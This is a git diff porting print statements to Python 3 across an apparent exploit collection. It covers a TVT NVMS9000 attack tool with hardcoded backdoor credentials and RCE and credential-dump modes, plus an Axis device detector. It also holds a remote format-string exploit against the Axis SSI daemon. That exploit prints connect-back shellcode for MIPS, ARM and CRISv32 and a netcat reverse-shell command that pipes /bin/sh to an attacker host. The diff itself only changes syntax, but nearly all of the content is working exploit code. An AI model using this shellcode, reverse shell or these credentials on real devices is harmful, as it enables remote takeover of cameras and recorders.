sock, request): break buf += response except Exception as e: - print "[!] Error ({})".format(e) + print("[!] Error ({})".format(e)) self.sock.close() sys.exit(1) return buf @@ -851,10 +852,10 @@ def GetSystemConfig(self, sock, request): arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) - print INFO + print(INFO) request = '' if args.getrce: @@ -875,7 +876,7 @@ def GetSystemConfig(self, sock, request): cmd = 'doLogin' request = 'doLogin' else: - print "[!] Choose something to do...\n[--getrce | --getdump | --getinfo | --getcreds | --getQR | --getlogin]" + print("[!] Choose something to do...\n[--getrce | --getdump | --getinfo | --getcreds | --getQR | --getlogin]") sys.exit(1) if args.https: @@ -915,65 +916,65 @@ def GetSystemConfig(self, sock, request): 'User-Agent':'ApiTool' } - print "[>] Trying to find out my external IP" + print("[>] Trying to find out my external IP") lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None) if verbose: - print "[Verbose] Detected my external IP:",lhost + print("[Verbose] Detected my external IP:",lhost) except Exception as e: - print "[<] ",e + print("[<] ",e) sys.exit(1) # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if LPORT is valid if not Validate(verbose).Port(lport): - print "[!] Invalid LPORT - Choose between 1 and 65535" + print("[!] Invalid LPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: - print "[!] Invalid LHOST" + print("[!] Invalid LHOST") sys.exit(1) # # Validation done, start print out stuff to the user # if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) if cmd == 'RCE': - print "[i] Connect back IP:",lhost - print "[i] Connect back PORT:",lport + print("[i] Connect back IP:",lhost) + print("[i] Connect back PORT:",lport) # # HTTP API with hardcoded authentication on TCP/4567 to NVMS9000 (bypass of ConfigSyncProc) # if args.rport == '4567': - print "[!] Be aware that remote HTTP/HTTPS access will not work until reboot!" + print("[!] Be aware that remote HTTP/HTTPS access will not work until reboot!") TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigClient(lhost, lport, cmd, request) # # HTTP/HTTPS API with hardcoded password (ConfigSyncProc) # admin:{12213BD1-69C7-4862-843D-260500D1DA40} else: - print "[!] Trying w/ credentials: {}".format(credentials) + print("[!] Trying w/ credentials: {}".format(credentials)) if not(TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigClient(lhost, lport, cmd, request)): credentials = 'root:{12213BD1-69C7-4862-843D-260500D1DA40}' - print "[!] Trying w/ credentials: {}".format(credentials) + print("[!] Trying w/ credentials: {}".format(credentials)) TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigClient(lhost, lport, cmd, request) - print "[i] All done" + print("[i] All done") # [EOF] diff --git a/axis-detect.py b/axis-detect.py index f640796..463176f 100644 --- a/axis-detect.py +++ b/axis-detect.py @@ -2,6 +2,7 @@ # # [SOF] +from __future__ import print_function import sys import string import socket @@ -36,17 +37,17 @@ def Send(self, uri): url = '%s://%s%s' % (self.proto, self.host, uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -54,18 +55,18 @@ def Send(self, uri): opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" + print("[<] 204 Not Sending!") html = "Not sending any data" else: data = None req = urllib2.Request(url, data, headers) rsp = urllib2.urlopen(req) if rsp: - print "[<] %s OK" % rsp.code + print("[<] %s OK" % rsp.code) html = rsp.read() return html @@ -113,9 +114,9 @@ def Version(self,e,verbose=False): for tmp in range(0,len(URI)): try: if Vendor and Product: - print "[>] Trying to detect firmware version...(%d)" % int(tmp+1) + print("[>] Trying to detect firmware version...(%d)" % int(tmp+1)) else: - print "[>] Trying to detect target...(%d)" % int(tmp+1) + print("[>] Trying to detect target...(%d)" % int(tmp+1)) html = HTTPconnect(self.targetIP,self.proto,self.verbose,self.creds,False).Send(URI[tmp]) @@ -131,8 +132,8 @@ def Version(self,e,verbose=False): if not Vendor and not Product and html[axis+1] != ',': Vendor = 'AXIS' Product = html[axis+1] - print "[i] Target found:",Vendor,Product - print "[i] Trying to detect firmware version...(%d)" % int(tmp+1) + print("[i] Target found:",Vendor,Product) + print("[i] Trying to detect firmware version...(%d)" % int(tmp+1)) for axis in range (axis,len(html)): if Vendor and Product and Version: @@ -141,18 +142,18 @@ def Version(self,e,verbose=False): # Version must have dots if html[axis+1].find('.') == True: Version = html[axis+1] - print "[i] Version found:",Version + print("[i] Version found:",Version) break # First entry with dots found after 'Vendor' and 'Products' # in 'thirdpartysoftwarelicenses.txt' is Version elif html[axis].find('.') == True: Version = html[axis] - print "[i] Version found:",Version + print("[i] Version found:",Version) break else: continue else: - print "[i] Version not found..." + print("[i] Version not found...") continue # More or less for testing, actually no use for this.. @@ -160,7 +161,7 @@ def Version(self,e,verbose=False): # Version must have dots if html[axis+1].find('.') == True: Version = html[axis+1] - print "[i] Version found:",Version + print("[i] Version found:",Version) break elif html[axis] == '16Ch': #'16Ch', 'DVR', '', 'Ver', '0.6.0.1', @@ -168,7 +169,7 @@ def Version(self,e,verbose=False): Vendor = 'AXIS' Product = 'Developer Board LX release 2.1.0 - DGI-DVR' Version = html[axis+4] - print "[i] Target found:",Vendor,Product,Version + print("[i] Target found:",Vendor,Product,Version) continue else: continue @@ -178,24 +179,24 @@ def Version(self,e,verbose=False): # split is 2, since we split with \n too. (x.xx.x\n -> 'x.xx.x','') if len(html) == 2 and html[0].find('.') == True: Version = html[0] - print "[i] Version found:",Version + print("[i] Version found:",Version) if Vendor and Product and Version: target = Vendor target += " " target += Product target += " " target += Version - print "[i] Verbose: {}".format(target.split()) + print("[i] Verbose: {}".format(target.split())) return continue except urllib2.HTTPError as e: - print "[<]",e.reason + print("[<]",e.reason) continue except Exception as e: - print "[!] Detect of target failed: %s" % str(e) + print("[!] Detect of target failed: %s" % str(e)) sys.exit(1) - print "[!] Remote target are not supported!" + print("[!] Remote target are not supported!") sys.exit(0) # @@ -283,15 +284,15 @@ def Host(self,HOST): arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: %s\n" % str(e) + print(INFO,"\nError: %s\n" % str(e)) sys.exit(1) # We want at least one argument, so print out help if len(sys.argv) == 1: arg_parser.parse_args(['-h']) - print "\n[*]",INFO - print "[*]",INFO1 + print("\n[*]",INFO) + print("[*]",INFO1) if args.verbose: verbose = args.verbose @@ -317,13 +318,13 @@ def Host(self,HOST): # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) @@ -331,9 +332,9 @@ def Host(self,HOST): # Validation done, start print out stuff to the user # if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote IP:",rhost - print "[i] Remote PORT:",rport + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote IP:",rhost) + print("[i] Remote PORT:",rport) rhost = rhost + ':' + rport diff --git a/axis-ssid-PoC.py b/axis-ssid-PoC.py index f2cad52..6ea4646 100644 --- a/axis-ssid-PoC.py +++ b/axis-ssid-PoC.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2.7 -# +# # [SOF] # # [Remote Format String Exploit] Axis Communications MPQT/PACS Server Side Include (SSI) Daemon @@ -92,7 +92,7 @@ # on heap seems pretty complicated as there is one jump availible, maximum two. # # 5.1 Classic GOT write for free() that will jump to shellcode, was the best technique in this case. -# +# # 6. Encoded and Decoded shellcode located in .bss section. # 6.1 FMS excecuted on heap # @@ -139,17 +139,17 @@ # Quite surprised to see so many different devices and under one major release version, # that's covered by one "FMS key". The "FMS key" are valid for all minor versions under the major version. # -# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor, -# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password. +# This made me start thinking how brilliant and clever it would be to make an sophisticated door that's using format string as backdoor, +# which generates no FMS output whatsoever to attacker and unlocked by a 'FMS key', instead of using hardcoded login/password. # -# - No hardcoded login/password that could easily be found in firmware/software files. +# - No hardcoded login/password that could easily be found in firmware/software files. # - Extremely hard to find without local access (and find out what to trigger for opening the door) # - Nobody can not actually prove it is a sophisticated door for sure. "It's just another bug.. sorry! - here is the fixed version." # (Only to close this door, and open another door, somewhere else, in any binary - and try make it harder to find) # # Note: # I don't say that Axis Communication has made this hidden format string by this purpose. -# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon, +# I can only believe it was a really stupid mistake from Axis side, after I have seen one screen-dump of the CVS changelog of SSI Daemon, # and another screen-dump with the change made late 2009, from non-vulnerable to vulnerable, in the affected code of logerr(). # # Vulnerable and exploitable products @@ -177,41 +177,41 @@ # # ('V.Vx' == The FMS key used in this exploit) # -# Firmware Introduced CRISv32 MIPS ARM (no exec heap from >5.20.x) -# 5.00.x 2008 - - no -# 5.01.x 2008 no - no -# 5.02.x 2008 no - - -# 5.05.x 2009 no - - -# 5.06.x 2009 no - - -# 5.07.x 2009 no - no -# 5.08.x 2010 no - - -# 5.09.x 2010 no - - -# 5.10.x 2009 no - - -# 5.11.x 2010 no - - -# 5.12.x 2010 no - - -# 5.15.x 2010 no - - -# 5.16.x 2010 no - - -# 5.20.x 2010-2011 5.2x - 5.2x -# 5.21.x 2011 5.2x - 5.2x -# 5.22.x 2011 5.2x - - -# 5.25.x 2011 5.2x - - -# 5.40.x 2011 5.4x 5.4x 5.4x -# 5.41.x 2012 5.4x - - -# 5.50.x 2013 5.5x 5.5x 5.4x -# 5.51.x 2013 - 5.4x - -# 5.55.x 2013 - 5.5x 5.5x -# 5.60.x 2014 - 5.6x 5.6x -# 5.65.x 2014-2015 - 5.6x - -# 5.70.x 2015 - 5.7x - -# 5.75.x 2015 - 5.7x 5.7x -# 5.80.x 2015 - 5.8x 5.8x -# 5.81.x 2015 - 5.8x - -# 5.85.x 2015 - 5.8x 5.8x -# 5.90.x 2015 - 5.9x - -# 5.95.x 2016 - 5.9x 5.8x -# 6.10.x 2016 - 6.1x - -# 6.15.x 2016 - - 6.1x -# 6.20.x 2016 - 6.2x - +# Firmware Introduced CRISv32 MIPS ARM (no exec heap from >5.20.x) +# 5.00.x 2008 - - no +# 5.01.x 2008 no - no +# 5.02.x 2008 no - - +# 5.05.x 2009 no - - +# 5.06.x 2009 no - - +# 5.07.x 2009 no - no +# 5.08.x 2010 no - - +# 5.09.x 2010 no - - +# 5.10.x 2009 no - - +# 5.11.x 2010 no - - +# 5.12.x 2010 no - - +# 5.15.x 2010 no - - +# 5.16.x 2010 no - - +# 5.20.x 2010-2011 5.2x - 5.2x +# 5.21.x 2011 5.2x - 5.2x +# 5.22.x 2011 5.2x - - +# 5.25.x 2011 5.2x - - +# 5.40.x 2011 5.4x 5.4x 5.4x +# 5.41.x 2012 5.4x - - +# 5.50.x 2013 5.5x 5.5x 5.4x +# 5.51.x 2013 - 5.4x - +# 5.55.x 2013 - 5.5x 5.5x +# 5.60.x 2014 - 5.6x 5.6x +# 5.65.x 2014-2015 - 5.6x - +# 5.70.x 2015 - 5.7x - +# 5.75.x 2015 - 5.7x 5.7x +# 5.80.x 2015 - 5.8x 5.8x +# 5.81.x 2015 - 5.8x - +# 5.85.x 2015 - 5.8x 5.8x +# 5.90.x 2015 - 5.9x - +# 5.95.x 2016 - 5.9x 5.8x +# 6.10.x 2016 - 6.1x - +# 6.15.x 2016 - - 6.1x +# 6.20.x 2016 - 6.2x - # # Vendor URL's of still supported and affected products # @@ -246,6 +246,7 @@ # ##################################################################################### +from __future__ import print_function import sys import string import socket @@ -259,170 +260,170 @@ class do_FMS: -# POP = "%8x" # Old style POP's with 8 bytes per POP - POP = "%1c" # Old style POP's with 1 byte per POP - WRITElln = "%lln" # Write 8 bytes - WRITEn = "%n" # Write 4 bytes - WRITEhn = "%hn" # Write 2 bytes - WRITEhhn = "%hhn" # Write 1 byte - - def __init__(self,targetIP,verbose): - self.targetIP = targetIP - self.verbose = verbose - self.fmscode = "" - - # Mostly used internally in this function - def Add(self, data): - self.fmscode += data - - # 'New Style' Double word (8 bytes) - def AddDirectParameterLLN(self, ADDR): - self.Add('%') - self.Add(str(ADDR)) - self.Add('$lln') - - # 'New Style' Word (4 bytes) - def AddDirectParameterN(self, ADDR): - self.Add('%') - self.Add(str(ADDR)) - self.Add('$n') - - # 'New Style' Half word (2 bytes) - def AddDirectParameterHN(self, ADDR): - self.Add('%') - self.Add(str(ADDR)) - self.Add('$hn') - - # 'New Style' One Byte (1 byte) - def AddDirectParameterHHN(self, ADDR): - self.Add('%') - self.Add(str(ADDR)) - self.Add('$hhn') - - # Addressing - def AddADDR(self, ADDR): - self.Add('%') - self.Add(str(ADDR)) - self.Add('u') - - # 'Old Style' POP - def AddPOP(self, size): - if size != 0: - self.Add(self.POP * size) - - # Normally only one will be sent, multiple is good to quick-check for any FMS - # - # 'Old Style' Double word (8 bytes) - def AddWRITElln(self, size): - self.Add(self.WRITElln * size) - - # 'Old Style' Word (4 bytes) - def AddWRITEn(self, size): - self.Add(self.WRITEn * size) - - # 'Old Style' Half word (2 bytes) - def AddWRITEhn(self, size): - self.Add(self.WRITEhn * size) - - # 'Old Style' One byte (1 byte) - def AddWRITEhhn(self, size): - self.Add(self.WRITEhhn * size) - - # Return the whole FMS string - def FMSbuild(self): - return self.fmscode +# POP = "%8x" # Old style POP's with 8 bytes per POP + POP = "%1c" # Old style POP's with 1 byte per POP + WRITElln = "%lln" # Write 8 bytes + WRITEn = "%n" # Write 4 bytes + WRITEhn = "%hn" # Write 2 bytes + WRITEhhn = "%hhn" # Write 1 byte + + def __init__(self,targetIP,verbose): + self.targetIP = targetIP + self.verbose = verbose + self.fmscode = "" + + # Mostly used internally in this function + def Add(self, data): + self.fmscode += data + + # 'New Style' Double word (8 bytes) + def AddDirectParameterLLN(self, ADDR): + self.Add('%') + self.Add(str(ADDR)) + self.Add('$lln') + + # 'New Style' Word (4 bytes) + def AddDirectParameterN(self, ADDR): + self.Add('%') + self.Add(str(ADDR)) + self.Add('$n') + + # 'New Style' Half word (2 bytes) + def AddDirectParameterHN(self, ADDR): + self.Add('%') + self.Add(str(ADDR)) + self.Add('$hn') + + # 'New Style' One Byte (1 byte) + def AddDirectParameterHHN(self, ADDR): + self.Add('%') + self.Add(str(ADDR)) + self.Add('$hhn') + + # Addressing + def AddADDR(self, ADDR): + self.Add('%') + self.Add(str(ADDR)) + self.Add('u') + + # 'Old Style' POP + def AddPOP(self, size): + if size != 0: + self.Add(self.POP * size) + + # Normally only one will be sent, multiple is good to quick-check for any FMS + # + # 'Old Style' Double word (8 bytes) + def AddWRITElln(self, size): + self.Add(self.WRITElln * size) + + # 'Old Style' Word (4 bytes) + def AddWRITEn(self, size): + self.Add(self.WRITEn * size) + + # 'Old Style' Half word (2 bytes) + def AddWRITEhn(self, size): + self.Add(self.WRITEhn * size) + + # 'Old Style' One byte (1 byte) + def AddWRITEhhn(self, size): + self.Add(self.WRITEhhn * size) + + # Return the whole FMS string + def FMSbuild(self): + return self.fmscode class HTTPconnect: - def __init__(self, host, proto, verbose, creds, noexploit): - self.host = host - self.proto = proto - self.verbose = verbose - self.credentials = creds - self.noexploit = noexploit - - # Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\t','$','`' etc.. - def RAW(self, uri): - # Connect-timeout in seconds - timeout = 5 - socket.setdefaulttimeout(timeout) - - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - tmp = self.host.split(':') - HOST = tmp[0] - PORT = int(tmp[1]) - if self.verbose: - print "[Verbose] Sending to:", HOST - print "[Verbose] Port:", PORT - print "[Verbose] URI:",uri - s.connect((HOST, PORT)) - s.send("GET %s HTTP/1.0\r\n\r\n" % uri) - html = (s.recv(4096)) # We really do not care whats coming back -# if html: -# print "[i] Received:",html - s.shutdown(3) - s.close() - return html - - - def Send(self, uri): - - # The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually - # matter for the functionality of this exploit, only for future references. - headers = { - 'User-Agent' : 'MSIE', - } - - # Connect-timeout in seconds - timeout = 5 - socket.setdefaulttimeout(timeout) - - url = '%s://%s%s' % (self.proto, self.host, uri) - - if self.verbose: - print "[Verbose] Sending:", url - - if self.proto == 'https': - if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Default Context" - ssl._create_default_https_context = ssl._create_unverified_context - - if self.credentials: - Basic_Auth = self.credentials.split(':') - if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] - try: - pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() - pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) - auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) - opener = urllib2.build_opener(auth_handler) - urllib2.install_opener(opener) - except Exception as e: - print "[!] Basic Auth Error:",e - sys.exit(1) - - if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" - html = "Not sending any data" - else: - data = None - req = urllib2.Request(url, data, headers) - rsp = urllib2.urlopen(req) - if rsp: - print "[<] %s OK" % rsp.code - html = rsp.read() - return html + def __init__(self, host, proto, verbose, creds, noexploit): + self.host = host + self.proto = proto + self.verbose = verbose + self.credentials = creds + self.noexploit = noexploit + + # Netcat remote connectback shell needs to have raw HTTP connection as we using special characters as '\t','$','`' etc.. + def RAW(self, uri): + # Connect-timeout in seconds + timeout = 5 + socket.setdefaulttimeout(timeout) + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + tmp = self.host.split(':') + HOST = tmp[0] + PORT = int(tmp[1]) + if self.verbose: + print("[Verbose] Sending to:", HOST) + print("[Verbose] Port:", PORT) + print("[Verbose] URI:",uri) + s.connect((HOST, PORT)) + s.send("GET %s HTTP/1.0\r\n\r\n" % uri) + html = (s.recv(4096)) # We really do not care whats coming back +# if html: +# print "[i] Received:",html + s.shutdown(3) + s.close() + return html + + + def Send(self, uri): + + # The SSI daemon are looking for this, and opens a new FD (5), but this does'nt actually + # matter for the functionality of this exploit, only for future references. + headers = { + 'User-Agent' : 'MSIE', + } + + # Connect-timeout in seconds + timeout = 5 + socket.setdefaulttimeout(timeout) + + url = '%s://%s%s' % (self.proto, self.host, uri) + + if self.verbose: + print("[Verbose] Sending:", url) + + if self.proto == 'https': + if hasattr(ssl, '_create_unverified_context'): + print("[i] Creating SSL Default Context") + ssl._create_default_https_context = ssl._create_unverified_context + + if self.credentials: + Basic_Auth = self.credentials.split(':') + if self.verbose: + print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]) + try: + pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) + auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr) + opener = urllib2.build_opener(auth_handler) + urllib2.install_opener(opener) + except Exception as e: + print("[!] Basic Auth Error:",e) + sys.exit(1) + + if self.noexploit and not self.verbose: + print("[<] 204 Not Sending!") + html = "Not sending any data" + else: + data = None + req = urllib2.Request(url, data, headers) + rsp = urllib2.urlopen(req) + if rsp: + print("[<] %s OK" % rsp.code) + html = rsp.read() + return html class shellcode_db: - def __init__(self,targetIP,verbose): - self.targetIP = targetIP - self.verbose = verbose + def __init__(self,targetIP,verbose): + self.targetIP = targetIP + self.verbose = verbose - def sc(self,target): - self.target = target + def sc(self,target): + self.target = target # Connect back shellcode @@ -432,273 +433,273 @@ def sc(self,target): # MIPSel: Written by Jacob Holcomb (url encoded by me) # ARM: http://shell-storm.org/shellcode/files/shellcode-754.php # - # Slightly modified syscall's - MIPSel = string.join([ - #close stdin - "%ff%ff%04%28" #slti a0,zero,-1 - "%a6%0f%02%24" #li v0,4006 - "%4c%f7%f7%03" #syscall 0xdfdfd - #close stdout - "%11%11%04%28" #slti a0,zero,4369 - "%a6%0f%02%24" #li v0,4006 - "%4c%f7%f7%03" #syscall 0xdfdfd - #close stderr - "%fd%ff%0c%24" #li t4,-3 - "%27%20%80%01" #nor a0,t4,zero - "%a6%0f%02%24" #li v0,4006 - "%4c%f7%f7%03" #syscall 0xdfdfd - # socket AF_INET (2) - "%fd%ff%0c%24" #li t4,-3 - "%27%20%80%01" #nor a0,t4,zero - "%27%28%80%01" #nor a1,t4,zero - "%ff%ff%06%28" #slti a2,zero,-1 - "%57%10%02%24" #li v0,4183 - "%4c%f7%f7%03" #syscall 0xdfdfd - # - "%ff%ff%44%30" # andi $a0, $v0, 0xFFFF - # - # dup2 stdout - "%c9%0f%02%24" #li v0,4041 - "%4c%f7%f7%03" #syscall 0xdfdfd - # - # dup2 stderr - "%c9%0f%02%24" #li v0,4041 - "%4c%f7%f7%03" #syscall 0xdfdfd - # - # Port - "PP1PP0%05%3c" - "%01%ff%a5%34" - # - "%01%01%a5%20" #addi a1,a1,257 - "%f8%ff%a5%af" #sw a1,-8(sp) - # - # IP - "IP3IP4%05%3c" - "IP1IP2%a5%34" - # - "%fc%ff%a5%af" #sw a1,-4(sp) - "%f8%ff%a5%23" #addi a1,sp,-8 - "%ef%ff%0c%24" #li t4,-17 - "%27%30%80%01" #nor a2,t4,zero - "%4a%10%02%24" #li v0,4170 - "%4c%f7%f7%03" #syscall 0xdfdfd - # - "%62%69%08%3c" #lui t0,0x6962 - "%2f%2f%08%35" #ori t0,t0,0x2f2f - "%ec%ff%a8%af" #sw t0,-20(sp) - "%73%68%08%3c" #lui t0,0x6873 - "%6e%2f%08%35" #ori t0,t0,0x2f6e - "%f0%ff%a8%af" #sw t0,-16(sp - "%ff%ff%07%28" #slti a3,zero,-1 - "%f4%ff%a7%af" #sw a3,-12(sp) - "%fc%ff%a7%af" #sw a3,-4(sp - "%ec%ff%a4%23" #addi a0,sp,-20 - "%ec%ff%a8%23" #addi t0,sp,-20 - "%f8%ff%a8%af" #sw t0,-8(sp) - "%f8%ff%a5%23" #addi a1,sp,-8 - "%ec%ff%bd%27" #addiu sp,sp,-20 - "%ff%ff%06%28" #slti a2,zero,-1 - "%ab%0f%02%24" #li v0,4011 (execve) - "%4c%f7%f7%03" #syscall 0xdfdfd - ], '') - - # Working netcat shell - # - $PATH will locate 'mkfifo', 'nc' and 'rm' - # - LHOST / LPORT will be changed on the fly later in the code - # - 1) make FIFO, 2) netcat back to attacker with STDIN to /bin/sh, and PIPE STDOUT back to the remote via FIFO, 3) remove FIFO when exiting - # - $IFS = [By default, and we need or as separator] - # $ echo -n "$IFS" | hexdump -C - # 00000000 20 09 0a - # - $PS1 = $ [By default, and we need something to "comment" out our trailing FMS code from /bin/sh -c] - # - # '2>/tmp/s' (STDERR > FIFO) Don't work with $IFS as separator - # - # Working with Apache and Boa -# NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0/tmp/s\"$IFS\"2>/tmp/s;rm$IFS/tmp/s;$PS1" - NCSH = "mkfifo$IFS/tmp/s;nc$IFS-w$IFS\"5\"$IFS\"LHOST\"$IFS\"LPORT\"$IFS0/tmp/s;rm$IFS/tmp/s;$PS1" - - ARMel = string.join([ - # original: http://shell-storm.org/shellcode/files/shellcode-754.php - # 32-bit instructions, enter thumb mode - "%01%10%8f%e2" # add r1, pc, #1 - "%11%ff%2f%e1" # bx r1 - - # 16-bit thumb instructions follow - # - # socket(2, 1, 0) - "%02%20" #mov r0, #2 - "%01%21" #mov r1, #1 - "%92%1a" #sub r2, r2, r2 - "%0f%02" #lsl r7, r1, #8 - "%19%37" #add r7, r7, #25 - "%01%df" #svc 1 - # - # connect(r0, &addr, 16) - "%06%1c" #mov r6, r0 - "%08%a1" #add r1, pc, #32 - "%10%22" #mov r2, #16 - "%02%37" #add r7, #2 - "%01%df" #svc 1 - # - # dup2(r0, 0/1/2) - "%3f%27" #mov r7, #63 - "%02%21" #mov r1, #2 - # - #lb: - "%30%1c" #mov r0, r6 - "%01%df" #svc 1 - "%01%39" #sub r1, #1 - "%fb%d5" #bpl lb - # - # execve("/bin/sh", ["/bin/sh", 0], 0) - "%05%a0" #add r0, pc, #20 - "%92%1a" #sub r2, r2, r2 - "%05%b4" #push {r0, r2} - "%69%46" #mov r1, sp - "%0b%27" #mov r7, #11 - "%01%df" #svc 1 - # - "%c0%46" # .align 2 (NOP) - "%02%00" # .short 0x2 (struct sockaddr) - "PP1PP0" # .short 0x3412 (port: 0x1234) - "IP1IP2IP3IP4" #.byte 192,168,57,1 (ip: 192.168.57.1) - # .ascii "/bin/sh\0\0" - "%2f%62%69%6e" # /bin - "%2f%73%68%00%00" # /sh\x00\x00 - "%00%00%00%00" - "%c0%46" - ], '') - - - # Connect-back shell for Axis CRISv32 - # Written by mcw noemail eu 2016 - # - CRISv32 = string.join([ - #close(0) - "%7a%86" # clear.d r10 - "%5f%9c%06%00" # movu.w 0x6,r9 - "%3d%e9" # break 13 - #close(1) - "%41%a2" # moveq 1,r10 - "%5f%9c%06%00" # movu.w 0x6,r9 - "%3d%e9" # break 13 - #close(2) - "%42%a2" # moveq 2,r10 - "%5f%9c%06%00" # movu.w 0x6,r9 - "%3d%e9" # break 13 - # - "%10%e1" # addoq 16,sp,acr - "%42%92" # moveq 2,r9 - "%df%9b" # move.w r9,[acr] - "%10%e1" # addoq 16,sp,acr - "%02%f2" # addq 2,acr - #PORT - "%5f%9ePP1PP0" # move.w 0xPP1PP0,r9 # - "%df%9b" # move.w r9,[acr] - "%10%e1" # addoq 16,sp,acr - "%6f%96" # move.d acr,r9 - "%04%92" # addq 4,r9 - #IP - "%6f%feIP1IP2IP3IP4" # move.d IP4IP3IP2IP1,acr - "%e9%fb" # move.d acr,[r9] - # - #socket() - "%42%a2" # moveq 2,r10 - "%41%b2" # moveq 1,r11 - "%7c%86" # clear.d r12 - "%6e%96" # move.d $sp,$r9 - "%e9%af" # move.d $r10,[$r9+] - "%e9%bf" # move.d $r11,[$r9+] - "%e9%cf" # move.d $r12,[$r9+] - "%41%a2" # moveq 1,$r10 - "%6e%b6" # move.d $sp,$r11 - "%5f%9c%66%00" # movu.w 0x66,$r9 - "%3d%e9" # break 13 - # - "%6a%96" # move.d $r10,$r9 - "%0c%e1" # addoq 12,$sp,$acr - "%ef%9b" # move.d $r9,[$acr] - "%0c%e1" # addoq 12,$sp,$acr - "%6e%96" # move.d $sp,$r9 - "%10%92" # addq 16,$r9 - "%6f%aa" # move.d [$acr],$r10 - "%69%b6" # move.d $r9,$r11 - "%50%c2" # moveq 16,$r12 - # - # connect() - "%6e%96" # move.d $sp,$r9 - "%e9%af" # move.d $r10,[$r9+] - "%e9%bf" # move.d $r11,[$r9+] - "%e9%cf" # move.d $r12,[$r9+] - "%43%a2" # moveq 3,$r10 - "%6e%b6" # move.d $sp,$r11 - "%5f%9c%66%00" # movu.w 0x66,$r9 - "%3d%e9" # break 13 - # dup(0) already in socket - #dup(1) - "%6f%aa" # move.d [$acr],$r10 - "%41%b2" # moveq 1,$r11 - "%5f%9c%3f%00" # movu.w 0x3f,$r9 - "%3d%e9" # break 13 - # - #dup(2) - "%6f%aa" # move.d [$acr],$r10 - "%42%b2" # moveq 2,$r11 - "%5f%9c%3f%00" # movu.w 0x3f,$r9 - "%3d%e9" # break 13 - # - #execve("/bin/sh",NULL,NULL) - "%90%e2" # subq 16,$sp - "%6e%96" # move.d $sp,$r9 - "%6e%a6" # move.d $sp,$10 - "%6f%0e%2f%2f%62%69" # move.d 69622f2f,$r0 - "%e9%0b" # move.d $r0,[$r9] - "%04%92" # addq 4,$r9 - "%6f%0e%6e%2f%73%68" # move.d 68732f6e,$r0 - "%e9%0b" # move.d $r0,[$r9] - "%04%92" # addq 4,$r9 - "%79%8a" # clear.d [$r9] - "%04%92" # addq 4,$r9 - "%79%8a" # clear.d [$r9] - "%04%92" # addq 4,$r9 - "%e9%ab" # move.d $r10,[$r9] - "%04%92" # addq 4,$r9 - "%79%8a" # clear.d [$r9] - "%10%e2" # addq 16,$sp - "%6e%f6" # move.d $sp,$acr 